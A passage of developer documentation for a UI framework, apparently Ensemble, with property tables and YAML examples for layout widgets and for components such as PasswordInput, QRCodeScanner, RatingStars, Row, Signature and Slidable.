scrolling lists of widgets. + Use ListView when you need a scrollable list. + Implement pull-to-refresh functionality for updating the list content from an API. + + +## Examples: + +### 1. Column: +**Column Layout** +```yaml + Column: + styles: + gap: 16 + padding: 24 + children: + - Text: + text: Column lays out its children vertically. + - Column: + styles: + gap: 4 + children: + - Smile + - Beam + - Divider +``` + +### 2. Flow +**Flow with Simple Tags** +```yaml + Flow: + styles: + gap: 8 + lineGap: 8 + children: + - SimpleTag: + inputs: + label: Travel + - SimpleTag: + inputs: + label: Nature +``` + +**Flow with Bold Tags and Background Images** +```yaml + Flow: + styles: + gap: 8 + lineGap: 8 + children: + - BoldTag: + inputs: + label: Travel + background: https://.../flow_travel.png + - BoldTag: + inputs: + label: Nature + background: https://.../flow_nature.png +``` + +### 3. GridView: +**Grid View with response** +```yaml + GridView: + styles: + height: 400 + horizontalTileCount: 2 + itemHeight: 128 + item-template: + data: ${getPeople.body.results} + name: person + template: PersonCard +``` + +### 4. Flex: +**Flex Direction Switching** +```yaml + Flex: + styles: + direction: '${device.width > 400 ? "horizontal" : "vertical"}' + gap: 4 + children: + - Image: + source: https://images.unsplash.com/photo-1550684848-86a5d8727436 + styles: { width: 90, height: 90, borderRadius: 90, fit: cover } + - Image: + source: https://images.unsplash.com/photo-1550684848-fac1c5b4e853 + styles: { width: 90, height: 90, borderRadius: 90, fit: cover } + - Image: + source: https://images.unsplash.com/photo-1551651057-f3f83700a831 + styles: { width: 90, height: 90, borderRadius: 90, fit: cover } +``` + +### 5. Row: +**Row Layout** +```yaml + Row: + styles: + gap: 8 + children: + - Smile + - Beam + - Wink +``` + +**Main Axis Positioning** +```yaml + Row: + styles: + mainAxis: spaceBetween + backgroundColor: 0xFFCCDFE5 + padding: 4 + borderRadius: 4 + children: + - Smile + - Beam +``` +Similar examples for `mainAxis: spaceAround`, `mainAxis: center`, and `mainAxis: end` + +**Child Widget Expansion** +```yaml + Row: + styles: + gap: 8 + children: + - Button: + label: First button + styles: + expanded: true + - Button: + label: Second button +``` + +### 6. ListView: +**ListView** +```yaml + ListView: + id: listView + onPullToRefresh: + invokeAPI: + name: getPeople + onItemTap: + navigateScreen: + name: ListView - Detail Page + inputs: + doc_type: ${getPeople.body.users[this.selectedItemIndex]} + styles: { expanded: true } + item-template: + data: ${getPeople.body.users} + name: users + template: + MyRow: + inputs: + p: ${users} +``` + +--- + +# PasswordInput widget + +The PasswordInput Widget enables the rendering of secure password input fields, ensuring that user-entered passwords remain hidden and protected within your application for enhanced security and privacy. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/218fa244-f0cd-4d17-91e6-7c099bbedede) + +## Properties + +| Property | Type | Description | +| :-------------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| id | string | ID to be referenced later | +| maxWidth | integer | The max width of this Input widget (default 700) | +| label | string | Label for your widget | +| labelHint | string | Hint text on your label | +| hintText | string | Hint text explaining your widget | +| required | boolean | Whether the field is required | +| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | +| icon | object | [See properties](#icon) | +| onChange | | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | +| onFocusReceived | action | Execute an Ensemble action when the field receives focus | +| onFocusLost | action | Execute an Ensemble action when the field loses focus | +| styles | object | [See properties](#styles) | +| validator | object | [See properties](#validator) | +| onKeyPress | action | On every keystroke, call Ensemble's built-in functions or execute code | +| keyboardAction | string | Specify the action key on native device's soft keyboard | +| obscureToggle | boolean | enable the toggling between plain and obscure text. | +| obscureTextWidget | widget | Custom widget to replace the default visibility toggle icon for password fields. When provided, this widget will be used instead of the standard visibility icon to toggle between showing and hiding the text. | +| readOnly | boolean | When it is true, the text cannot be modified by any shortcut or keyboard operation. | +| selectable | boolean | Setting this to true will enable features such as long-pressing the TextField to select text and show the cut/copy/paste menu, and tapping to move the text caret text. | +| maxLength | integer | The maximum number of characters allowed in the text field. If set, the text field will restrict the input to this number of characters. | +| maxLengthEnforcement | string | none, enforced, truncateAfterCompositionEnds. [see properties](#maxlengthenforcement) | + +### icon + +| Property | Type | Description | +| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| name | string | The name of the icon | +| library | string | Which icon library to use. | +| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| contentPadding | integer or string | Padding around your input content with CSS-style notation e.g. margin: 5 20 5 | +| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderRadius | integer | The border radius for this Input widget. This property can be defined in the theme to apply to all Input widgets. | +| borderWidth | integer | The border width for this Input widget. This property can be defined in the theme to apply to all Input widgets. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| fontSize | integer | Sets the size of the text. | + +### validator + +| Property | Type | Description | +| :--------- | :------ | :------------------------------------------------------------------------------------- | +| minLength | integer | The minimum number of characters | +| maxLength | integer | The maximum number of characters | +| regex | string | The Regular Expression the input will need to match | +| regexError | string | The customized error message to show when the input does not match the provided regex. | + +#### options for styles.variant + +| Option | Description | +| :-------- | :------------------------------------------------------------------------------------------------------------------- | +| box | draw a Box border around this input widget. This property can be defined in the theme to apply to all Input widgets. | +| underline | draw an Underline below this input widget. This property can be defined in the theme to apply to all Input widgets. | + +### MaxLengthEnforcement + +| Property | Type | Description | +| :--------- | :------ | :------------------------------------------------------------------------------------- | +| none | string | No enforcement applied to the editing value. It's possible to exceed the maxLength. | +| enforced | string | Keep the length of the text input from exceeding the max length even when the text has an unfinished composing region. | +| truncateAfterCompositionEnds | string | Users can still input text if the current value is composing even after reaching the max length limit. After composing ends, the value will be truncated. | + +--- + +# Profile Image Widget + +The `ProfileImageWithIndicator` widget in Ensemble offers a convenient way to showcase user profile images along with customizable indicator labels. + +**Input Parameters** +Required: +1. `image`: URL of profile image to be displayed + +Optional: +1. `label`: Content within floating label +2. `labelPosition`: Position of the label, default is topRight. Possible values are topLeft, topCenter, topRight, centerLeft, center, centerRight, bottomLeft, bottomCenter, bottomRight +3. `imageSize`: Image size, default is 90 +4. `labelColor`: Color used for the label, default is white +5. `labelBackgroundColor`: Color used for the label background, default is blue + +By using these Input Parameters, you can effortlessly create various profile images tailored to your app's design. Below is an example of how to use the public widget `ensemble.ProfileImageWithIndicator`: +```yaml +- ensemble.ProfileImageWithIndicator: + inputs: + label: 4 + image: https://images.pexels.com/photos/733872/pexels-photo-733872.jpeg?auto=compress&cs=tinysrgb&w=1260&h=750&dpr=2 + imageSize: 160 + labelSize: 40 + labelPosition: bottomRight + labelColor: blue + labelBackgroundColor: 0xFFDEDEDE +``` +Since this widget is globally available, you only need to specify the image input. The example above also showcases optional input parameters for further customization. Simply use `ensemble.ProfileImageWithIndicator` in your app to streamline the integration of profile images with indicator labels. + +--- + +# Progress Indicator + +The Progress Indicator Widget facilitates the rendering of visual progress indicators, providing users with visual feedback on the progress of tasks or operations within your application. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c2c248f2-a289-40d3-acd5-65a1a7f3c5a2) + +## Properties + +| Property | Type | Description | +| :------------------ | :------ | :------------------------------------------------------------------------- | +| display | string | | +| countdown | integer | Show the progress percentage based on the number of seconds specified here | +| onCountdownComplete | | Execute this Action when the countdown comes to 0 | +| styles | object | [See properties](#styles) | + +### styles + +| Property | Type | Description | +| :-------------- | :------ | :--------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| backgroundColor | | Background color, starting with '0xFF' for full opacity e.g 0xFFCCCCCC | +| size | integer | Specifies the width (progress bar) or the diameter (circular progress indicator) | +| thickness | integer | Specifies the thickness of the indicator (for progress bar this is the height) | +| color | | | + +--- + +# QRCodeScanner widget + +The QR-Code Scanner Widget provides a camera preview for scanning QR codes and returns the decoded data. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/ykDZEs5NKh8WHFdZtM8A) + +## Properties + +| Property | Type | Description | +| :------- | :----- | :------------------------------- | +| formatsAllowed | array | Use formatsAllowed to specify which formats needs to be scanned. | +| initialCamera | string | Initialize either camera, back or front. `back` `front` | +| onInitialized | action | Execute an action once the QRCodeScanner is initialized | +| onPermissionSet | action | Execute an action with the status of camera permission. Get the status via ```event.data.status``` | +| onReceived | action | Execute an action when it scans and retrieved the data from QRCode. Get the data via ```event.data.data```, format ```event.data.format``` and bytes ```event.data.rawBytes``` | +| styles | object | [See properties](#styles) | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| overlayColor | integer or string | The overlay color of the QR code scanner widget | +| cutOutBorderColor | integer or string | The border color of the cutOut area of the QRCodeScanner widget | +| overlayMargin | integer | The margin of the overlay of the QRCodeScanner widget | +| cutOutBorderWidth | integer | Thickness of the cutOut area border. | +| cutOutBorderLength | integer | Length of the cutOut area border. | +| cutOutBorderRadius | integer | The border radius of the cutOut area widget. | +| cutOutWidth | integer | The width of the cutOut area widget. | +| cutOutHeight | integer | The height of the cutOut area widget. | + +### Methods +| Function | Args | Description | +| ---| ---| --- | +|flipCamera() | | It flips the camera from back to front or front to back | +|toggleFlash() | | It turns the flash light ON/OFF | +|pauseCamera() | | It pauses the camera in the QRCodeScanner widget | +|resumeCamera() | | It resumes the camera in the QRCodeScanner widget | + +### Box Styles (Inherited) +This widget also inherits these styles + +[box](_snippets/box-styles.md ':include') + +### Base Styles (Inherited) +This widget also inherits these styles + +[base](_snippets/base-styles.md ':include') + +--- + +# QR-Code widget + +The QR-Code Render Widget empowers you to effortlessly generate and render QR codes within your application, enabling convenient scanning and information exchange for users. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/f4921ba2-9f3d-4c33-8848-4df29a5e7a4d) + +## Properties + +| Property | Type | Description | +| :------- | :----- | :------------------------------- | +| value | string | The data to generate the QR code | +| styles | object | [See properties](#styles) | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| size | integer | Specify the width/height of the QR Code. Default: 160 | +| color | integer or string | Set the color for the QR code drawing, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | +| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | + +### styles.backgroundGradient + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | +| start | string | The starting position of the gradient | +| end | string | The ending position of the gradient | + +### styles.backgroundImage + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | +| source | string | The Image URL to fill the background | +| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | +| alignment | string | Alignment of the background image | + +#### Fit options for styles.backgroundImage + +| Option | Description | +| :-------- | :-------------------------------------------------------------------------------------------------- | +| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | +| contain | Scale the image such that the entire image is contained within our dimension | +| cover | Scale the image to fill our dimension, clipping the image as needed | +| fitWidth | Scale the image to fit the width, and clipping the height if needed | +| fitHeight | Scale the image to fit the height, and clipping the width if needed | +| none | Center-Align the original image size, clipping the content if needed | +| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | + +--- + + +# RadioButton + +RadioButton widget renders a simple Radio button, which can be grouped with other RadioButtons anywhere on the screen with the groupId. + +--- + + +# RadioGroup + +The RadioGroup widget renders a group of radios together in a few pre-determined layouts. + +--- + +# ensemble.RatingStars widget + +The `ensemble.RatingStars` widget in Ensemble provides an intuitive solution for displaying star ratings with customizable attributes. It is fixed at 5 stars. + + +[Kitchen Sink example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/Ywo5qN6fAbx0pC3l5aLZ) + + +**Input Parameters** +Required: +1. `rating`: An integer or double between 1 and 5, indicating the number of stars to be filled + +Optional: +1. `starColor`: The color used to fill the stars, default is 0xFFF5970A +2. `starBackgroundColor`: The color used as the background of the box containing each star, default is 0xFFFFFAEB +3. `size`: An integer to set the size of each star, default is 16 +4. `starGaps`: An integer to set the gap between stars, default is 4 +5. `starPadding`: An integer to set the padding for each star, default is 2 +6. `starBorderRadius`: An integer to set the gap between stars, default is 2 + +By utilizing these Input Parameters, you can customize the appearance of the rating stars by adjusting these parameters tailored to your app's design. Below is an example of how to use the public widget `RatingStars`: +```yaml +- ensemble.RatingStars: + inputs: + rating: 3 + size: 24 + starColor: white + starBackgroundColor: red +``` +Since this widget is globally available, you only need to specify the rating input. The example above also showcases optional input parameters for further customization. Incorporate the `ensemble.RatingStars` widget in your app to enhance the visual representation of rating stars. + +--- + +# Row + +Row is designed to arrange child widgets horizontally, where the intrinsic sizes of child widgets dictate the layout's appearance. + +## Best Practices + +- Use Row to lay out the children horizontally from left to right. Enable scrollable if the children might exceed the available space. +- **Avoid** using child widgets with no width constraint or sized itself to the parent (e.g. form inputs such as TextInput) inside the Row. [FlexRow](/pages/widgets/flex-row.md) may be a better choice in this case. +- Avoid using nested scrollable Row for better UX. + +## Key Concepts +- **mainAxisSize**: By default the width of a `Row` is determined by its parent's width constraint (if available), otherwise it will be the combined width of its children. You may force the Row to do the later (size itself to the children's combined width) with `mainAxisSize=min`. +- **mainAxis**: This property controls the horizontal alignment of the children within the Row. This property is useful only when the mainAxisSize is set to max (default) as there are available spaces to align the children. +- **crossAxis**: This property controls the vertical alignment of the children within the Row. +- **scrollable**: Enable horizontal scrolling when the child widgets grow wider than the available space. + +## Caveats +- **Row height**: Note that setting a height for a Row acts more like a maximum height constraint. The Row determines its actual height based on the tallest child, aligning the other children along the vertical cross-axis according to this height. This means if this actual height is less than the specified height, the `crossAxis` only affects the alignment of the children within the determined (lesser) height. +If you wish to stretch all the children to the same specified height, add `crossAxis: stretch` in addition to the fixed height. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4bd0d453-c243-429d-a562-93cbc9db38e3) + +## Properties + +| Property | Type | Description | +| :------------ | :----- | :------------------------------- | +| item-template | object | [See properties](#item-template) | +| children | array | List of widgets | +| styles | object | [See properties](#styles) | + +### item-template + +| Property | Type | Description | +| :------- | :----- | :----------------------------------------------------------------- | +| data | string | Bind to an array of data from an API response or a variable | +| name | string | Set the name to reference as you iterate through the array of data | +| template | | The widget to render for each item | + +### styles + +| Property | Type | Description | +| :--------------------------- |:-----------------------------------------------------------| :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| mainAxis | string | Control our children's layout horizontally.`start` `center` `end` `spaceBetween` `spaceAround` `spaceEvenly` | +| fontSize | integer | Sets the size of the text. | +| fontFamily | string | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). | +| gap | integer | The gap between the children in the main direction | +| crossAxis | string | Control the vertical alignment of the children.`start` `center` `end` `stretch` `baseline` | +| mainAxisSize | string | If 'max', stretch the Row to fill its parent's width. Otherwise (min) the Row's width will be its children's combined. | +| scrollable | boolean | Set to true so content can scroll horizontally as needed | +| autoFit | boolean | Explicitly make the row's height as tall as the largest child, but only if the row's parent does not already assign us a height. This attribute is useful for sizing children who don't have a width (e.g vertical Divider) | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | [Color](#Color) | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| shadowColor | [Color](#Color) | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| backgroundImage | [BackgroundImage](#BackgroundImage) | Background image of the box. | +| backgroundGradient | [Gradient](#Gradient) | Background gradient of the box | +| backgroundColor | [Color](#Color) | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | +| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | +| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | +| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | +| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | + +--- + +# Shape Widget + +ECreate and customize a variety of shapes to add flair to your UI. Use this widget in combination with [LoadingContainer](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3wNZSfVkdi56zmTtFeBT) to create compelling loading states. + +### Properties + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------------------- | +| type | string | Type of the shape, `circle` `rectangle` `oval` `square` | + +### Styles + +| Property | Type | Description | +| :-------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| borderRadius | string or integer | The border radius of the widget. This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | + +--- + + +# Signature Widget + +The `Signature` widget allows users to capture handwritten signatures directly within your application. It provides a canvas where users can draw their signature using touch or mouse input. The widget is highly customizable, enabling you to adjust its appearance and behavior to suit your application's needs. + +## Key Properties and Features + +- **Pen Customization**: Adjust the pen color (`penColor`), stroke width (`penStrokeWidth`), stroke cap (`strokeCap`), and stroke join (`strokeJoin`) to customize the drawing experience. +- **Background Customization**: Set the background color of the signature pad using `backgroundColor`. + +- **Value Handling**: The `value` property holds the signature data encoded as a Base64 string. This can be used to retrieve or set the signature. + +- **Disabling Input**: Use the `disabled` property to prevent users from drawing on the signature pad, useful for displaying a previously captured signature. + +- **Export Options**: Customize the colors used when exporting the signature image with `exportBackgroundColor` and `exportPenColor`. + +- **Getters**: Access additional data through getters like `isEmpty`, `getSignatureBytes`, `getSignatureSVG`, and `getSignatureJPG`. + +- **Events**: The `onChange` event is triggered whenever the signature pad's content changes, allowing you to react to user input. + +- **Methods**: The `clear()` method allows you to programmatically clear the signature pad. + +--- + + +# Slidable Widget + +The `Slidable` widget enables you to create swipeable items with customizable action panes on both sides. This widget is particularly useful for implementing swipe-to-action functionality, such as swipe-to-delete, swipe-to-edit, or any other custom actions in your application. + +## Key Properties and Features + +- **Dual Action Panes**: Support for both start (left) and end (right) action panes +- **Customizable Actions**: Each action pane can contain multiple actions with customizable icons, labels, and colors +- **Motion Options**: Various motion types available including scroll, stretch, behind, and drawer animations +- **Dismissible Support**: Optional swipe-to-dismiss functionality with customizable behavior +- **Group Management**: Group related 